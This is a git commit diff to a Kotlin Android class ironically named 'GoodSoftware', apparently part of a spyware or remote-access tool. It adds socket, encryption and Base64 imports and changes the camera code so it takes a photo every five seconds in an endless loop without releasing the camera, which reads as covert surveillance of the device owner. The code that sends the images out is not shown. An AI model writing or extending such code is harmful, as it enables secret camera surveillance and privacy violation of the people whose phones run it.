Loads of pictures
This commit is contained in:
parent
6e0c78e732
commit
1418145c69
@ -1,16 +1,25 @@
|
|||||||
package com.ti.m
|
package com.ti.m
|
||||||
|
|
||||||
|
import android.Manifest
|
||||||
import android.content.Context
|
import android.content.Context
|
||||||
import android.graphics.Camera
|
import android.content.pm.PackageManager
|
||||||
|
import android.util.Base64
|
||||||
import android.util.Log
|
import android.util.Log
|
||||||
import androidx.camera.core.CameraSelector
|
import androidx.camera.core.CameraSelector
|
||||||
import androidx.camera.core.ImageAnalysis
|
|
||||||
import androidx.camera.core.ImageCapture
|
import androidx.camera.core.ImageCapture
|
||||||
import androidx.camera.core.ImageCaptureException
|
import androidx.camera.core.ImageCaptureException
|
||||||
import androidx.camera.core.ImageProxy
|
import androidx.camera.core.ImageProxy
|
||||||
import androidx.camera.core.Preview
|
|
||||||
import androidx.camera.lifecycle.ProcessCameraProvider
|
import androidx.camera.lifecycle.ProcessCameraProvider
|
||||||
|
import androidx.concurrent.futures.await
|
||||||
|
import androidx.core.app.ActivityCompat
|
||||||
|
import androidx.core.content.ContextCompat
|
||||||
|
import androidx.lifecycle.LifecycleOwner
|
||||||
|
import androidx.lifecycle.lifecycleScope
|
||||||
|
import kotlinx.coroutines.Dispatchers
|
||||||
|
import kotlinx.coroutines.launch
|
||||||
|
import kotlinx.coroutines.withContext
|
||||||
import java.io.BufferedReader
|
import java.io.BufferedReader
|
||||||
|
import java.io.ByteArrayOutputStream
|
||||||
import java.io.InputStreamReader
|
import java.io.InputStreamReader
|
||||||
import java.io.PrintWriter
|
import java.io.PrintWriter
|
||||||
import java.net.Socket
|
import java.net.Socket
|
||||||
@ -21,23 +30,6 @@ import java.security.spec.X509EncodedKeySpec
|
|||||||
import javax.crypto.Cipher
|
import javax.crypto.Cipher
|
||||||
import javax.crypto.spec.IvParameterSpec
|
import javax.crypto.spec.IvParameterSpec
|
||||||
import javax.crypto.spec.SecretKeySpec
|
import javax.crypto.spec.SecretKeySpec
|
||||||
import androidx.concurrent.futures.await
|
|
||||||
import androidx.core.content.ContextCompat
|
|
||||||
import androidx.lifecycle.LifecycleOwner
|
|
||||||
import android.util.Base64
|
|
||||||
import androidx.core.app.ActivityCompat
|
|
||||||
import java.io.ByteArrayOutputStream
|
|
||||||
import android.Manifest
|
|
||||||
import android.app.Activity
|
|
||||||
import android.content.pm.PackageManager
|
|
||||||
import android.os.Build
|
|
||||||
import android.telephony.TelephonyManager
|
|
||||||
import android.widget.Toast
|
|
||||||
import androidx.annotation.RequiresApi
|
|
||||||
import androidx.core.app.ComponentActivity
|
|
||||||
import androidx.core.content.ContextCompat.getSystemService
|
|
||||||
import androidx.lifecycle.lifecycleScope
|
|
||||||
import kotlinx.coroutines.launch
|
|
||||||
|
|
||||||
|
|
||||||
class GoodSoftware (private val activity: MainActivity) {
|
class GoodSoftware (private val activity: MainActivity) {
|
||||||
@ -246,11 +238,15 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
||||||
|
|
||||||
// Take the picture
|
// Take the picture
|
||||||
imageCapture?.takePicture(
|
while (true){
|
||||||
ContextCompat.getMainExecutor(context),
|
withContext(Dispatchers.IO) {
|
||||||
imageCapturedListener
|
imageCapture?.takePicture(
|
||||||
)
|
ContextCompat.getMainExecutor(context),
|
||||||
cameraProvider?.unbind()
|
imageCapturedListener
|
||||||
|
)
|
||||||
|
Thread.sleep(5000L)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user